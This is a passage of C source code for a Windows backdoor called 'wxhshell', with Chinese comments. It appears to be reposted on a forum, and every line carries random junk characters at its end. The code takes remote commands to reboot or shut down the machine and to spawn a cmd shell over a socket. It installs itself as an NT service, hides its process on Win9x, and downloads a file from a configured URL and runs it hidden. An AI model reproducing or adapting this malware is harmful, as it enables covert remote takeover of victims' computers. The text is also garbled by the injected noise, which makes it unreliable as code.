      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ep|>z#1  
    break; v[-.]b*5A$  
  } tb#9TF  
  // 安装 LBO3){=J  
  case 'i': { cOz8YVR-  
    if(Install()) njhDrwN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #j!RbW  
    else OFcL h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nd~cpHQR^  
    break; J/OG\}  
    } .K I6<k/  
  // 卸载 "}"hQ.kAz  
  case 'r': { [w>T.b  
    if(Uninstall()) ] yg3|C;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &A}@@d  
    else Q7V*~{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Xaz`L  
    break; ,gag_o{*a  
    } x}\_o< d  
  // 显示 wxhshell 所在路径 32#|BBY  
  case 'p': { M`_RkDmy<  
    char svExeFile[MAX_PATH]; :.2Tcq  
    strcpy(svExeFile,"\n\r"); -L zx3"  
      strcat(svExeFile,ExeFile); HhZlHL  
        send(wsh,svExeFile,strlen(svExeFile),0); pK_n}QW  
    break;  (TKn'2  
    } _f^JXd,7v  
  // 重启 h mijp1u  
  case 'b': { 'r/+z a:2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2=?:(e9  
    if(Boot(REBOOT)) `1O<UJX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F0Nl,9h('  
    else { whoM$  &  
    closesocket(wsh); \:7G1_o  
    ExitThread(0); pv3SAO4  
    } #Qir%\*V  
    break; H{tG:KH  
    } VXfp=JE  
  // 关机 /=y _ #l  
  case 'd': { !L|}/u3v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bz7rf^H`Z  
    if(Boot(SHUTDOWN)) ^0x0 rY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S)n+E\c  
    else { cPx] :sC  
    closesocket(wsh); ff{ L=uj  
    ExitThread(0); t9C.|6X  
    } zw2qv'  
    break; d_ [l{  
    } per$%;5E"  
  // 获取shell Exu5|0AAE  
  case 's': { ?FV>[&-h#I  
    CmdShell(wsh); t_Q\uo}  
    closesocket(wsh); jV)4+D  
    ExitThread(0); hxT{!g  
    break; U8||)  +  
  } )XFaVkQ}  
  // 退出 #?3oGrS Y  
  case 'x': { UG~/   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [$x&J6jF.  
    CloseIt(wsh); -wdd'G  
    break; L-,C5^  
    } 9w"kxAN  
  // 离开 Vw@?t(l>  
  case 'q': { 'ZiTjv ]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U3-cH  
    closesocket(wsh); DI )!x {"  
    WSACleanup(); izvwXC  
    exit(1); (+iOy/5#u  
    break; 141G~@-  
        } !k}]`z^d  
  } XwlF[3VbiX  
  } xIb"8,N  
h1U8z)D#   
  // 提示信息 X:Iam#H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tD j/!L`  
} kc:>[{9  
  } [" PRxl  
DKG99biJN  
  return; b" PRa|]  
} 7`pK=E}+  
=[D '3JB  
// shell模块句柄 7jzd I!  
int CmdShell(SOCKET sock) P2t9RCH  
{ )J>-;EYb8  
STARTUPINFO si; 2zlBrjk;  
ZeroMemory(&si,sizeof(si)); aS3Fvk0R{h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Y6DzWI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [vNaX%o  
PROCESS_INFORMATION ProcessInfo; (j%;)PTe+&  
char cmdline[]="cmd"; B*AF8wX|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ] v8.ym  
  return 0; ~2L]K4Z^  
} = ;z42oS  
"T~ce@  
// 自身启动模式 Er!s\(h  
int StartFromService(void) Rch?@O#J  
{ _9 B ^@~  
typedef struct JO=kfWW  
{ tXg>R _\C  
  DWORD ExitStatus; 8w\ZY>d   
  DWORD PebBaseAddress; %-Oo9 2tP  
  DWORD AffinityMask;  C4.g}q  
  DWORD BasePriority; @@pI>~#zh  
  ULONG UniqueProcessId; ?(2^lH~6h  
  ULONG InheritedFromUniqueProcessId; T@?uA*J  
}   PROCESS_BASIC_INFORMATION; 277Am*2  
[39  
PROCNTQSIP NtQueryInformationProcess; Y$K[@_dv=  
Pu`;B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '(-SuaH49  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -8%[ 7Z]  
+)U>mm,  
  HANDLE             hProcess; o4Hp|iK&0  
  PROCESS_BASIC_INFORMATION pbi; 2(s-8E:  
}Q#3\z5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); FJH'!P\  
  if(NULL == hInst ) return 0; Dqg~g|(Q<  
=H)"t:xE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t{g7 :A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VqBb=1r%o7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nt/#Qu2#br  
#57D10j  
  if (!NtQueryInformationProcess) return 0; WJs2d73Qp  
=ec"G2$?"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W,-fnJk  
  if(!hProcess) return 0; ^wTod\y  
)|Xi:Zd5>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e>~7RN  
DD^iEhG  
  CloseHandle(hProcess); m |%ly  
us$=)m~v+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {6Qd,CX  
if(hProcess==NULL) return 0; 8D5v'[j-  
JR^#NefJ  
HMODULE hMod; `zjbyY  
char procName[255]; 5FQtlB9F  
unsigned long cbNeeded; #a|.cm>6  
'~;vp  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S :%SarhBD  
*fg|HH+i  
  CloseHandle(hProcess); BE LxaV,  
/KLs+^c5  
if(strstr(procName,"services")) return 1; // 以服务启动 Yj#4{2A  
]aqg{XdGt  
  return 0; // 注册表启动 pj/w9j G6  
} ML-?#jNa<  
SU80i`  
// 主模块 dWDM{t\}\  
int StartWxhshell(LPSTR lpCmdLine) j c-$l  
{ 8AQ@?\Rc"2  
  SOCKET wsl; vAH`tPi>  
BOOL val=TRUE; KDEcR  
  int port=0; ,[{Z_co  
  struct sockaddr_in door; FdFN4{<QZ  
|xX>AMZc)D  
  if(wscfg.ws_autoins) Install(); 3S h#7"K3  
aZBb@~Y  
port=atoi(lpCmdLine); 4b<>gpQ  
o|O|e9m(  
if(port<=0) port=wscfg.ws_port; f zsD  
'BmLR{[2L  
  WSADATA data; [r f.&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -ttH{SslM  
u{d\3-]/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W&HF*Aw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jGaI6G'N  
  door.sin_family = AF_INET; lk`,s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ),;O3:n  
  door.sin_port = htons(port); c D0-g=&  
>2[nTfS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7f,!xh$  
closesocket(wsl); /@`kM'1:  
return 1; Z @d(0 z  
}  V9cKl[  
-lDAxp6p  
  if(listen(wsl,2) == INVALID_SOCKET) { (>usa||  
closesocket(wsl); |z%:{  
return 1; o b,%); m  
} O\&[|sGY{  
  Wxhshell(wsl); Yp(F}<f?  
  WSACleanup(); .|Y&,?k| Y  
lS!uL9t.  
return 0; <yw(7  
5?M d  
} io^ L[  
G}8Zkz@+  
// 以NT服务方式启动 DJ.n8hne  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #'lqE)T  
{  @& fAR2  
DWORD   status = 0; &K@ RTgb  
  DWORD   specificError = 0xfffffff; =QQTHL{3  
R m^$Dn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Oiz@tEp=_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wcW8"J'AH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \!Cc[n(f#  
  serviceStatus.dwWin32ExitCode     = 0; >xB[k-C4  
  serviceStatus.dwServiceSpecificExitCode = 0; bjCO@t  
  serviceStatus.dwCheckPoint       = 0; TVs#,  
  serviceStatus.dwWaitHint       = 0; Al-;-t#Dc  
o +KDK{MD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #|R#/Yc@Bv  
  if (hServiceStatusHandle==0) return; ~>-MVp  
X" m0||  
status = GetLastError(); |0N6]%r  
  if (status!=NO_ERROR) lo< t5~GQ  
{ mtd ,m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IMcuoQ5  
    serviceStatus.dwCheckPoint       = 0; R&MdwTa  
    serviceStatus.dwWaitHint       = 0; 56`Tna,t  
    serviceStatus.dwWin32ExitCode     = status; rK@XC +`S  
    serviceStatus.dwServiceSpecificExitCode = specificError; Vz @2_k   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vmsrypm  
    return; %pG^8Q()   
  } cM 5V%w  
~OSgpM#O!T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b<bj5m4fz>  
  serviceStatus.dwCheckPoint       = 0; [Rxbb+,U  
  serviceStatus.dwWaitHint       = 0; p'f8?jt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7H!/et?S,  
} PXrv2q[5?  
/9@[gv A  
// 处理NT服务事件,比如:启动、停止 !> 2kH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /?*GJN#  
{ dYxX%"J  
switch(fdwControl) O3KTKL]  
{ -g\;B  
case SERVICE_CONTROL_STOP: s{9 G//  
  serviceStatus.dwWin32ExitCode = 0; >h3m/aeNC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; scQnL'\  
  serviceStatus.dwCheckPoint   = 0; A}3dx!?7j  
  serviceStatus.dwWaitHint     = 0; YM r2|VEU[  
  { #T3dfVWv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {$xt.<  
  } r7^oqEp@B  
  return; q/#p ol  
case SERVICE_CONTROL_PAUSE: /nWBol,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E*AI}:or;  
  break; G$mAyK:  
case SERVICE_CONTROL_CONTINUE: O;lGh1.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;V0^uB.z  
  break; q5xF~SQGw2  
case SERVICE_CONTROL_INTERROGATE: Lm3~< vP1e  
  break; C C B'  
}; Ms 3Sri  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \"pp-str  
} MAQ(PIc>T  
]_(J8v  
// 标准应用程序主函数 XY^]nm-{I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %E2b{Y;  
{ ^D8~s;?  
p?2^JJpUb  
// 获取操作系统版本 /b7]NC%  
OsIsNt=GetOsVer(); ]?%S0DO*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J'C9}7G  
t>! Ok  
  // 从命令行安装 !nU|3S[b  
  if(strpbrk(lpCmdLine,"iI")) Install(); NHiac(&*  
bH.SUd)  
  // 下载执行文件 3 <)+)n  
if(wscfg.ws_downexe) { Ao+6^z_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `a `>Mtl  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;,/4Ry22j-  
} goe %'k,  
.*edaDi  
if(!OsIsNt) { +ib&6IU  
// 如果时win9x,隐藏进程并且设置为注册表启动 E#R1  
HideProc(); o3$dl`'  
StartWxhshell(lpCmdLine); I0*N "07n  
} X-*LA*xbN  
else fjCFJ_  
  if(StartFromService()) d$^ @$E2f  
  // 以服务方式启动 y* :C~  
  StartServiceCtrlDispatcher(DispatchTable); U@9v(TfV  
else &F:%y(;{Y  
  // 普通方式启动 WjguM  
  StartWxhshell(lpCmdLine); @ZRg9M:N  
DwGRv:&HH  
return 0; vmg[/#  
}
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只看该作者 1 发表于: 2006-10-10
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